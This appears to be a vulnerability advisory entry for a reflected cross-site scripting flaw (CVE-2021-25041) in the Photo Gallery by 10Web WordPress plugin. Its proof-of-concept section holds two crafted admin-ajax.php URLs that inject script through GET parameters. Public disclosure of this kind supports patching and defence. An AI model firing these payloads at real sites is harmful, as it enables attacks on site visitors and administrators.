Photo Gallery by 10Web < 1.5.68 – Reflected Cross-Site Scripting (XSS) | CVE 2021-25041 | Plugin Vulnerabilities

Description

The plugin is vulnerable to Reflected Cross-Site Scripting (XSS) issues via the bwg_album_breadcrumb_0 and shortcode_id GET parameters passed to the bwg_frontend_data AJAX action

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&bwg_album_breadcrumb_0=[{"id":"1'><img/src=x onerror=alert(1)>","page":1},{"id":"1","page":1}]&gallery_type=album_extended_preview

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery_type=image_browser&gallery_id=1&tag=0&album_id=0&theme_id=1&shortcode_id=1%22%20onmouseover=alert(id)//

Affects Plugins

Fixed in 1.5.68

References

CVE

URL

https://packetstormsecurity.com/files/#162227/

URL

https://plugins.trac.wordpress.org/changeset/2467205

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

ThuraMoeMyint

Verified

Yes

WPVDB ID

32aee3ea-e0af-44da-a16c-102c83eaed8f

Timeline

Publicly Published

2021-02-03 (about 4 years ago)

Added

2021-02-04 (about 4 years ago)

Last Updated

2022-04-11 (about 3 years ago)

Other

Published

Title

Published

2024-03-29

Title

Kanban Boards for WordPress <= 2.5.21 - Reflected Cross-Site Scripting

Published

2023-03-20

Title

Auto Rename Media On Upload < 1.1.0 - Admin+ Stored XSS

Published

2025-01-06

Title

User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor < 3.13.0 - Unauthenticated Stored Cross-Site Scripting

Published

2025-06-23

Title

Evangelische Termine <= 3.3 - Reflected Cross-Site Scripting

Published

2025-02-03

Title

Easy WP Tiles <= 1 - Authenticated (Administrator+) Stored Cross-Site Scripting